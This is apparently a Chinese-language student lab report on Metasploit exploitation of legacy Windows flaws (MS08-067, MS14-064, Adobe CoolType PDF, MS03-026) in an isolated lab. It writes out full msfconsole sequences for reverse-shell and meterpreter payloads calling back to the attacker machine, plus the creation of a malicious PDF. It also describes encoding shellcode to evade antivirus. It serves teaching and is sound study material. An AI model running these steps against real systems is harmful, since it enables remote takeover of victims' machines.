一、实验目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、预备知识
(1)MS08-067
漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
攻击原理
MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
源码分析
MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize
函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
(2)MS14-064
漏洞描述
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
漏洞原理
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...
(3)Adobe
漏洞原理
通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
(4)MS03_026
漏洞描述
此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。
漏洞原理
微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
(5)MSF模块使用详解
msfconsole
进入控制台- 确定你要找的漏洞,然后输入
search 漏洞名
查找相应模块
info
查看靶机适用范围
show payloads
查看相关载荷set payload generic/shell_reverse_tcp
选择载荷show options
查看相关参数
- 进行参数配置
set RHOST 192.168.186.137//靶机IP
set LPORT 5313
set LHOST 192.168.186.128//攻击机IP
set target 0
- 利用辅助模块查看端口是否开启(默认端口为445)
msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 192.168.186.137 //设置靶机地址
exploit //攻击
exploit
侦听
无会话已创建
猜测是使用的漏洞对XP不起作用。应该是XP版本的问题。后面换了WIN SERVER2000成功,详情见任务一。
三、实验内容
任务一:一个主动攻击实践MS08-067
靶机:Microsoft Windows 2000(192.168.186.138)
攻击机:kali(192.168.186.128)
use exploit/windows/smb/ms08_067_netapi //选择攻击模块
set payload generic/shell_reverse_tcp //选择攻击载荷
show options //查看配置信息
set RHOST 192.168.186.138 //设置靶机IP,端口默认为445
set LPORT 5313
set LHOST 192.168.186.128 //设置攻方IP
set target 1 //这里为WIN SERVER2000(可通过“show targets”查看可攻击的平台)
exploit
- 回连成功后,使用
ipconfig
验证是否回连正确
任务二:一个针对浏览器的攻击MS14-064
靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.186.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.186.128
set LPORT 5313
set target 0 //设置winXP靶机
exploit
- 将生成的URL地址在winXP的IE浏览器中打开,发现成功建立了一个会话
- 此时可以用ctrl+c退出当前状态,通过输入
sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址
任务三:一个针对客户端的攻击Adobe
靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻击机 IP
set LPORT 5313
set FILENAME zlx5313.pdf //设置生成的pdf文件名
exploit //发起攻击
- 生成zlx5313.pdf,进入保存目录
cd /home/kali/.msf4/local
,输入cp zlx5313.pdf /home/kali/Desktop
将生成的zlx5313.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。(为什么不直接通过nc传给XP,后面遇到的问题中会提到) - 控制台中输入
back
退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻击机 IP
set LPORT 5313
exploit
- 靶机中打开zlx5313.pdf文件,靶机上钩,攻击成功
- kali中发现回连成功,输入
ipconfig
确认是否回连正确
任务四:成功应用任何一个辅助模块MS03_026(唯一)
靶机:Microsoft Windows 2000/XP(192.168.186.138/137)
攻击机:kali(192.168.186.128)
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块
show target //查看适用范围
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.186.128 //攻击机 IP
set LPORT 5313
set RHOST 192.168.186.137/138 //XP/2000
set RPORT 5313
run
- 将RHOST改为135(原默认状态),LPORT也改为135,WIN SERVER 2000成功
- WIN XP没反应
四、实验过程中遇到的问题
- 问题1:使用nc(详情见实验二)将kali中产生的pdf文件传给win xp出现文件损坏。
- 解决方法1:保存目录
cd /home/kali/.msf4/local
,输入cp zlx5313.pdf /home/kali/Desktop
将生成的zlx5313.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。 - 问题2:对MS03_026漏洞进行渗透攻击时,出现
exploit failed
- 135端口:主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够包括HTTP协议在内的多种网络传输。
- 解决方法2:将RHOST改为135(原默认状态),LPORT也改为135
五、实验思考
(1)用自己的话解释什么是exploit,payload,encode。
- exploit:攻击。我觉得就是对漏洞的攻击,也就是通过漏洞对靶机进行一些非授权操作。
- payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
- encode:编码。查看了一下
/usr/share/metasploit-framework/modules/encoders
文件夹下的内容,我认为encode就是通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。
(2)离实战还缺些什么技术或步骤?
- 目前我所掌握的这些渗透技术都需要特定的windows版本支持。
- 我的这些渗透攻击的方法大部分都是网上已有的教程,网络信息广为流传,我能看到,修复漏洞的产家也必定能看到,所以他们肯定会针对这些漏洞进行修补。我使用的都是一些比较老的漏洞利用,随着windows版本的更新,这些漏洞已经被渐渐修复了,实用价值已经越来越低了。
六、实践体会
- 本次实验,更加加深了我对MSF模块的使用。并且对于特定漏洞的利用也掌握的比较熟练了。
- 这么6个实验下来,使我养成做事情有条不紊一步一步的进行的习惯。让我感受到其实简单是渗透攻击还挺有意思的。
- 首先就是查找相关漏洞名,然后根据漏洞名选取相应模块,在查看模块所需参数,进行相关参数配置,
exploit
就可以等待靶机上钩了。